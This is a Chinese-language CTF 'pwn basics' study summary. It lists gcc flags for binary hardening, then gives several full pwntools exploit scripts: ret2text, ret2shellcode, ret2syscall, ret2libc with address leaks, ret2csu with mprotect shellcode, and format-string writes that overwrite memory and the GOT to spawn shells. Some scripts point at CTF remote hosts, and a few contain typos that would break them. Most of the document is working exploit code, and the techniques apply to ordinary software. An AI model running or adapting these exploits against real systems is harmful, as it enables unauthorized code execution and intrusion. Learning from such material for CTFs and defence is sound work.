pwn基础总结(除堆以外)

gcc -o test test.c                      // 默认情况下，是Partial RELRO
gcc -z norelro -o test test.c           // 关闭，即No RELRO
gcc -z lazy -o test test.c              // 部分开启，即Partial RELRO
gcc -z now -o test test.c               // 全部开启，即

gcc -o test test.c                      // 默认情况下，不开启Canary保护
gcc -fno-stack-protector -o test test.c  //禁用栈保护
gcc -fstack-protector -o test test.c   //启用堆栈保护，不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o test test.c //启用堆栈保护，为所有函数插入保护代码

gcc -o test test.c                  // 默认情况下，开启NX保护
gcc -z execstack -o test test.c     // 禁用NX保护
gcc -z noexecstack -o test test.c   // 开启NX保护

0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址，stack和vdso页面随机化。
2 - 表示在1的基础上增加栈（heap）的随机化。

gcc -o test test.c              // 默认情况下，不开启PIE
gcc -fpie -pie -o test test.c       // 开启PIE，此时强度为1
gcc -fPIE -pie -o test test.c       // 开启PIE，此时为最高强度2
gcc  -o test test.c     // 开启PIC，此时强度为1，不会开启PIE
gcc -fPIC -o test test.c        // 开启PIC，此时为最高强度2，不会开启PIE

gcc -o test test.c                          // 默认情况下，不会开这个检查
gcc -D_FORTIFY_SOURCE=1 -o test test.c      // 较弱的检查
gcc -D_FORTIFY_SOURCE=2 -o test test.c      // 较强的检查

x 按十六进制格式显示变量。
d 按十进制格式显示变量。
u 按十六进制格式显示无符号整型。
o 按八进制格式显示变量。
t 按二进制格式显示变量。
a 按十六进制格式显示变量。
c 按字符格式显示变量。
f 按浮点数格式显示变量。
s 按字符串显示。
b 按字符显示。
i 显示汇编指令。

cyclc 50 //生成50个用来溢出的字符，如：aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context(log_level = "debug",arch = "i386",os = "linux")

io = process("./ret2text")

sys_addr = 0x0804863A

gdb.attach(io,"b *0x0804869B\nc")
payload = flat(['a'*112,sys_addr])
io.sendafter("anything?",payload)

io.sendline('ls')
io.interactive()

io.close()

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context(log_level = "debug",arch = "i386",os = "linux")

io = process("./ret2shellcode")

buf_addr = 0x0804A080

padding = 112
shellcode = asm(shellcraft.sh())#<-这里利用pwntools的asm()函数来写shellcode.
payload = flat([shellcode.ljust(padding,'A'),buf_addr])

io.recvuntil("No system for you this time !!!")
#gdb.attach(io,"b *0x80483d0\nc")
io.sendline(payload)

io.sendline("ls")
io.interactive()

cat /usr/include/asm/unistd_32.h | grep execve

In[1]: hex(11)
Out[1]: '0xb'   

padding = 112
payload = flat([padding * 'A',pop_eax,0xb,pop_3exx,0,0,binsh_addr,int_0x80])

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context(log_level = "debug",arch = "i386",os = "linux")

io = process("./ret2syscall")

#ROPgadget to find pop-ret/int_0x80/binsh
pop_eax = 0x080bb196
pop_3exx = 0x0806eb90
padding = 112
int_0x80 = 0x08049421
binsh_addr = 0x080be408

#write payload
payload = flat([padding * 'A',pop_eax,0xb,pop_3exx,0,0,binsh_addr,int_0x80])

io.recvuntil("What do you plan to do?")
#gdb.attach(io,"b *0x804f650\nc")
io.sendline(payload)

io.sendline('ls')
io.interactive()

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from LibcSearcher import *

context(log_level = "debug",arch = "i386",os = "linux")

io = process("./ret2libc")
if args.g:
    gdb.attach(io)
elf = ELF("./ret2libc")

put_plt = elf.plt["puts"]
put_got = elf.got["puts"]
start = elf.sym["_start"]

payload1 = flat([112 * 'A',put_plt,start,put_got])#<-第一次泄露puts函数的地址

io.sendafter("!?",payload1)

puts_addr = u32(io.recv(4))
libc =  LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.sym["puts"]
system = libcbase + libc.sym["system"]
binsh = libcbase + libc.sym["/bin/sh"]

payload2 = flat([112 * 'A',system,'0xdeadbeef',binsh])

io.recvuntil("!?")
io.sendline(payload2)

io.senline("ls")
io.interactive()

In [6]: rsp = 0x7fffffffdc48
In [7]: rbp = 0x7fffffffdcd0                                                
In [8]: rbp-rsp                                           Out[8]: 136

In [9]: hex(136)                                         Out[9]: 0x88

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(log_level = "debug",arch = "amd64",os = "linux")

io = process("./level5")
if args.g:
    gdb.attach(io)
#io = remote("pwn2.jarvisoj.com",9884)

elf = ELF("./level5",checksec=False)
lib = ELF("libc-2.19.so",checksec=False)

write_got = elf.got["write"]
read_got = elf.got["read"]
vulner_addr = elf.sym["vulnerable_function"]
bss_addr = elf.bss()

csu_op = 0x00400690
csu_ed = 0x004006AA

def csu(r12,rdx,rsi,rdi,ret):
    global csu_ed,csu_op
    payload1 = flat([0x88*'a',csu_ed,p64(0),p64(1),r12,rdx,rsi,rdi,csu_op,0x38*'a',ret])
    io.recvuntil("Input:\n")
    io.sendline(payload1)
    sleep(1)

csu(write_got,8,write_got,1,vulner_addr)
write_addr = u64(io.recv(6).ljust(8,'\x00'))
libc = write_addr - lib.sym['write']
mprotect_addr = libc + lib.sym["mprotect"]

payload2 = flat([mprotect_addr,asm(shellcraft.sh())])#<-通过mprotect函数的来写入bss段，然后再执行mprotect，getshell
csu(read_got,len(payload2),bss_addr,0,vulner_addr)
io.send(payload2)


csu(bss_addr, 7, 0x1000, 0x600000, bss_addr + 8)
print 'bss_addr = ' + hex(bss_addr)

io.sendline('cat flag')
io.interactive()

mov esp,ebp
pop ebp

pop eip

void
__libc_csu_init (int argc, char **argv, char **envp)
{
  /* For dynamically linked executables the preinit array is executed by
     the dynamic linker (before initializing any shared object).  */

#ifndef LIBC_NONSHARED
  /* For static executables, preinit happens right before init.  */
  {
    const size_t size = __preinit_array_end - __preinit_array_start;
    size_t i;
    for (i = 0; i < size; i++)
      (*__preinit_array_start [i]) (argc, argv, envp);
  }
#endif

#ifndef NO_INITFINI
  _init ();
#endif

  const size_t size = __init_array_end - __init_array_start;
  for (size_t i = 0; i < size; i++)
      (*__init_array_start [i]) (argc, argv, envp);
}

/* This function should not be used anymore.  We run the executable's
   destructor now just like any other.  We cannot remove the function,
   though.  */
void
__libc_csu_fini (void)
{
#ifndef LIBC_NONSHARED
  size_t i = __fini_array_end - __fini_array_start;
  while (i-- > 0)
    (*__fini_array_start [i]) ();

# ifndef NO_INITFINI
  _fini ();
# endif
#endif
}

STATIC int
LIBC_START_MAIN (int (*main) (int, char **, char ** MAIN_AUXVEC_DECL),
         int argc, char **argv,
#ifdef LIBC_START_MAIN_AUXVEC_ARG
         ElfW(auxv_t) *auxvec,
#endif
         __typeof (main) init,
         void (*fini) (void),
         void (*rtld_fini) (void), void *stack_end)

__libc_start_main( main, argc, argv, __libc_csu_init, __libc_csu_fini, edx, top of stack);

%[parameter][flags][field width][.precision][length]type

aaaa,%s%s%s%s%s%s%s%s%s%s%s%s%s%s
aaaa,%p%p%p%p%p%p%p%p%p%p%p%p%p%p
通过断点断在参数出现的函数地方，参数的打印位置
一般是 x/20xw $ebp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(log_level = "debug",arch = "i386",os = "linux")

#io = process("./fm")
io = remote("pwn2.jarvisoj.com",9895)

x_addr = 0x0804A02C 
payload = flat([x_addr,'%11$n'])

io.sendline(payload)
#gdb.attach(io)

io.sendline("cat flag")
io.interactive()

pause(5)

io.close()

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(log_level = "debug",arch = "amd64",os = "linux")

io = process("./babyfmtt")
#io = remote("118.24.3.214",11001)
elf = ELF("./babyfmtt")

stack_fail = elf.got["__stack_chk_fail"]
backdoor = 0x40084e

payload = flat(['%',str(backdoor & 0xffff),"c%8$hn",'saob0',stack_fail,'a'* 0x60])#由于这里在进行$hn之前加了一个参数，以及后面的函数地址，导致需要八个参数的填充位置。所以是%8$hn，payload的写法参照wiki上的排序类型。

io.recvuntil("It's easy to PWN")
#gdb.attach(io)
io.sendline(payload)

io.interactive()


puase(2)
io.close()

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(log_level = "debug",arch = "i386",os = "linux")

io = process("./contacts")
elf = ELF("./contacts")
libc = elf.libc

def func_1(io,name,phone,len_des,description):
    r = io
    r.recvuntil('>>> ')
    r.sendline('1')
    r.recvuntil('Contact info: \n')
    r.recvuntil('Name: ')
    r.sendline(name)
    r.recvuntil('You have 10 numbers\n')
    r.sendline(phone)
    r.recvuntil('Length of description: ')
    r.sendline(len_des)
    r.recvuntil('description:\n\t\t')
    r.sendline(description)

def func_4(io):
    r = io
    r.recvuntil(">>>")
    r.sendline("4")
    r.recvuntil("Description: ")

#gdb.attach(io)
func_1(io,'aaaa','1234','1234','%31$paaaa')
func_4(io)
libc_start_main = int(io.recvuntil('aaaa', drop=True), 16)-241
print "libc_start_main addr :" + hex(libc_start_main)

libc_base = libc_start_main - libc.sym['__libc_start_main']
system=libc_base+libc.symbols["system"]
binsh=libc_base+next(libc.search("/bin/sh"))
print 'system addr :' + hex(system)
print 'binsh addr :' + hex(binsh)

payload1 = flat(['%6$p%11$pbbb',system,'aaaa',binsh,'dddd'])
func_1(io,'aaaa','1234','1234',payload1)
func_4(io)
io.recvuntil('Description: ')
data = io.recvuntil('bbb')
data = data.split('0x')
print data
ebp_addr = int(data[1], 16)
heap_addr = int(data[2], 16)+12
print 'ebp :' + hex(ebp_addr)
print 'heap :' + hex(heap_addr)

p1 = (heap_addr - 4)/2
p2 = heap_addr - 4 -p1
payload2 = flat(['%',str(p1),'x%',str(p2),'x%6$n'])
func_1(io,'aaaa','1234','1234',payload2)
func_4(io)
io.recvuntil("Description: ")
io.recvuntil('Description: ')

io.recvuntil('>>>')
io.sendline('5')

io.interactive()